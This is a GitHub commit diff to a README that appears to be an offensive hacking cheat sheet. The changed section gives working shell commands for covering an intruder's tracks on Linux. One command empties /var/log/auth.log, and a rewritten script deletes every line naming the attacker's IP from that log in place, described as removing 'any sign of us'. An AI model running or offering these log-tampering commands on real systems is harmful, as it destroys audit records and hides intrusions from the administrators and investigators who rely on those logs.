Update README.md

This commit is contained in:
skyper
2023-05-17 11:05:52 +01:00
committed by GitHub
parent dc6bba097b
commit 42eac802eb
+4 -2
View File
@@ -1128,8 +1128,10 @@ cat /dev/null >/var/log/auth.log
This will remove any sign of us from the log file:
```sh
cd /dev/shm
grep -Fv 'thc.org' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log
#DEL=thc.org
DEL=1.2.3.4
LOG=/var/log/auth.log
IFS="" a=$(sed "/${DEL}/d" <"${LOG}") && echo "$a">"${LOG}"
```
<a id="shell-hide-files"></a>